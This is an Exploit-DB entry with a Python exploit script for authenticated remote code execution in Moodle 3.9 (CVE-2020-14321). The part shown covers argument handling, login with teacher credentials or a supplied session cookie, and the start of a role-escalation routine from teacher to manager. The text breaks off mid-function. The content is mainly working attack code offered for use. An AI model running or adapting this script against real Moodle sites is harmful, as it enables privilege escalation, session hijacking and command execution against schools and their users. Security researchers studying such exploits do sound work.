Exploit-DB #50180
Description: Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-08-05
Author: lanz

Exploit:
# Exploit Title: Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 12-05-2021
# Exploit Author: lanz
# Vendor Homepage: https://moodle.org/
# Version: Moodle 3.9
# Tested on: FreeBSD

#!/usr/bin/python3

## Moodle 3.9 - RCE (Authenticated as teacher)
## Based on PoC and Payload to assign full permissions to manager rol:
##   * https://github.com/HoangKien1020/CVE-2020-14321

## Repository: https://github.com/lanzt/CVE-2020-14321/blob/main/CVE-2020-14321_RCE.py

import string, random
import requests, re
import argparse
import base64
import signal
import time
from pwn import *

class Color:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    END = '\033[0m'

def def_handler(sig, frame):
    print(Color.RED + "\n[!] 3xIt1ngG...\n")
    exit(1)

signal.signal(signal.SIGINT, def_handler)

banner = base64.b64decode("IF9fICAgICBfXyAgICAgX18gICBfXyAgX18gICBfXyAgICAgICAgICAgICAgX18gIF9fICAgICAKLyAgXCAgL3xfICBfXyAgIF8pIC8gIFwgIF8pIC8gIFwgX18gIC98IHxfX3wgIF8pICBfKSAvfCAKXF9fIFwvIHxfXyAgICAgL19fIFxfXy8gL19fIFxfXy8gICAgICB8ICAgIHwgX18pIC9fXyAgfCDigKIgYnkgbGFuegoKTW9vZGxlIDMuOSAtIFJlbW90ZSBDb21tYW5kIEV4ZWN1dGlvbiAoQXV0aGVudGljYXRlZCBhcyB0ZWFjaGVyKQpDb3Vyc2UgZW5yb2xtZW50cyBhbGxvd2VkIHByaXZpbGVnZSBlc2NhbGF0aW9uIGZyb20gdGVhY2hlciByb2xlIGludG8gbWFuYWdlciByb2xlIHRvIFJDRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA==").decode()

print(Color.BLUE + banner + Color.END)

def usagemybro():
    fNombre = os.path.basename(__file__)
    ussage = fNombre + ' [-h] [-u USERNAME] [-p PASSWORD] [-idm ID_MANAGER] [-idc ID_COURSE] [-c COMMAND] [--cookie TEACHER_COOKIE] url\n\n'
    ussage += '[+] Examples:\n'
    ussage += '\t' + fNombre + ' http://moodle.site.com/moodle -u teacher_name -p teacher_pass\n'
    ussage += '\t' + fNombre + " http://moodle.site.com/moodle --cookie thisistheffcookieofmyteaaacher\n"
    return ussage

def arguments():
    parse = argparse.ArgumentParser(usage=usagemybro())
    parse.add_argument(dest='url', type=str, help='URL Moodle site')
    parse.add_argument('-u', dest='username', type=str, default='lanz', help='Teacher username, default: lanz')
    parse.add_argument('-p', dest='password', type=str, default='Lanz123$!', help='Teacher password, default: Lanz123$!')
    parse.add_argument('-idm', dest='id_manager', type=str, default='25', help='Manager user ID, default: 25')
    parse.add_argument('-idc', dest='id_course', type=str, default='5', help='Course ID valid to enrol yourself, default: 5')
    parse.add_argument('-c', dest='command', type=str, default='whoami', help='Command to execute, default: whoami')
    parse.add_argument('--cookie', dest='teacher_cookie', type=str, default='', help='Teacher cookie (if you don\'t have valid credentials)')
    return parse.parse_args()

def login(url, username, password, course_id, teacher_cookie):
    '''
    Sign in on site, with creds or with cookie
    '''

    p1 = log.progress("Login on site")

    session = requests.Session()
    r = session.get(url + '/login/index.php')

    # Sign in with teacher cookie
    if teacher_cookie != "":
        p1.status("Cookie " + Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END)
        time.sleep(2)

        # In case the URL format is: http://moodle.site.com/moodle
        cookie_domain = url.split('/')[2] # moodle.site.com
        cookie_path = "/%s/" % (url.split('/')[3]) # /moodle/
        session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path)

        r = session.get(url + '/user/index.php', params={"id":course_id})
        try:
            re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
        except IndexError:
            p1.failure(Color.RED + "✘" + Color.END)
            print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
            exit(1)

        id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
        sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]

        p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW +  " ✓" + Color.END)
        time.sleep(1)

    # Sign in with teacher credentials
    elif username and password != "":
        p1.status("Creds " + Color.BLUE + username + ":" + password + Color.END)
        time.sleep(2)

        login_token = re.findall(r'name="logintoken" value="(.*?)"', r.text)[0]

        data_post = {
            "anchor" : "",
            "logintoken" : login_token,
            "username" : username,
            "password" : password
        }
        
        r = session.post(url + '/login/index.php', data=data_post)
        if "Recently accessed courses" not in r.text:
            p1.failure(Color.RED + "✘" + Color.END)
            print(Color.RED + "\nInvalid credentials.\n")
            exit(1)

        id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
        sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]

        p1.success(Color.BLUE + username + ":" + password + Color.END + Color.YELLOW + " ✓" + Color.END)
        time.sleep(1)

    else:
        print(Color.RED + "\nUse valid credentials or valid cookie\n")
        exit(1)

    return session, id_user, sess_key

def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
    '''
    Assign rol manager to teacher and manager account in the course.
    '''

    p4 = log.progress("Updating roles to move on manager accout")
    time.sleep(1)

    r = session.get(url + '/user/index.php', params={"id":course_id})
    try:
        teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
    except IndexError:
        p4.failure(Color.RED + "✘" + Color.END)
        print(Color.RED + "\nInvalid c